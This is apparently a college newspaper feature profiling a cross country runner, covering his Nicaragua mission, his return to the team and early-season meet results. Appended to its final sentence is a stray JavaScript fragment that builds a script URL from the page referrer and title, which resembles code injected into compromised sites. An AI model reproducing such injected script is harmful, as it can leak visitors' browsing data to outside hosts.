Cross Country: Experience through Running


In 2012, at the age of 18 years old, Josh Thomp­son, a native of the Las Vegas, Nevada area, was an All American cross country star for Central Arizona Col­lege (CAC.) Then, after his first year, Josh chose to begin his Latter Day-Saints (LDS) mission trip and accepted the challenge to travel to Nica­ragua, a path he might have been destined for. I was able to meet and become friends with Josh in Spanish class my first year at CAC and prior to his selection, Josh asked for an out of state location. Lit­tle did he know that Spanish class would be the beginning of a brand new adventure.

In June of that year, Josh traveled and spent 2 months at the Missionary Training Center in Provo, Utah, im­mersed in the Spanish lan­guage as well as in scripture training. When Josh first ar­rived in Nicaragua, he start­ed sweating immediately. He stated “it was very humid, but overall it was a neat experi­ence.”
Before he embarked on his trip, Josh felt he was pre­pared to communicate with the locals, but when he ar­rived, he discovered that not only was he confused, but the locals were as well. Ev­ery day he would continue his Spanish studies and now he has learned to love the lan­guage and plans on returning during Christmas break. Be­ing in Nicaragua away from his family and friends was an easy adjustment. One com­plaint Josh did have was in regards to the food. The most common meal served was rice and beans which Josh didn’t find very edible. On his days off from classes or reading scriptures to the locals, Josh and his companion would visit museums and travel to an active volcano which was a short bus ride away.

Josh returned home in June of 2014, now 21 years of age. I asked him what return­ing back to CAC and the cross country team has been like. He stated that he’s definitely matured and that living in the dorms again is a lot nicer than living in Nicaragua, so he can’t complain. He says that new students ask him for advice because he’s ex­perienced it all before. Josh expressed that being back on the team is easier now too be­cause he believes that as you age, your body develops. Part of that development is train­ing with the team. They run every day on average 11 miles switching up their practice with different workouts. By the end of the week, the men average 75 miles of training.

On September 6th, 2014, the men’s Cross Country team traveled to the Univer­sity of California-Irvine for their first meet of the season. The men’s team came in first out of 9-10 teams and won the Invitational. CAC was the only junior college compet­ing amongst other Califor­nia universities, so this was a great accomplishment. Dr. Paul Tavares, who is enter­ing his 8th year coaching the Cross Country team at CAC states that scores are ranked by the lowest place, not time. Top 5 finishes are allotted points and the lowest number of points wins. If you place in the Top 7, you are considered a varsity athlete. Josh in his first meet placed 7th. At the 2nd meet of the season this past weekend at the Universi­ty of California at Riverside, the men’s cross country team placed 7th out of 29 teams competing and Josh individu­ally placed 6th.

Josh states that his sea­son has started off well and that he was satisfied, but Josh who runs 5 miles at a pace of 26 minutes says his goal is to run at a pace of 23- 25 minutes. In his first two meets of the season, Josh ran at a time of 26 minutes.

Tavares states that Josh has adjusted very well be­ing back on the team. “Josh, along with one other LDS stu­dent, left and returned at the same time and that’s never happened before at CAC.” He continues to add that “both are very hard workers and that although it took a little bit of adjusting, coming back here and once again being on a top level program was a lot of work and that Josh is really coming around.”

Looking at his times from meets in 2012, Josh is run­ning at the same pace and that he is on the right path to meet­ing his goals. Tavares states “Josh is an extremely talented runner and we expect him to be All American again this year.”?

We, at The Cactus, wish him and the rest of the men’s cross country team an out­standing season.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;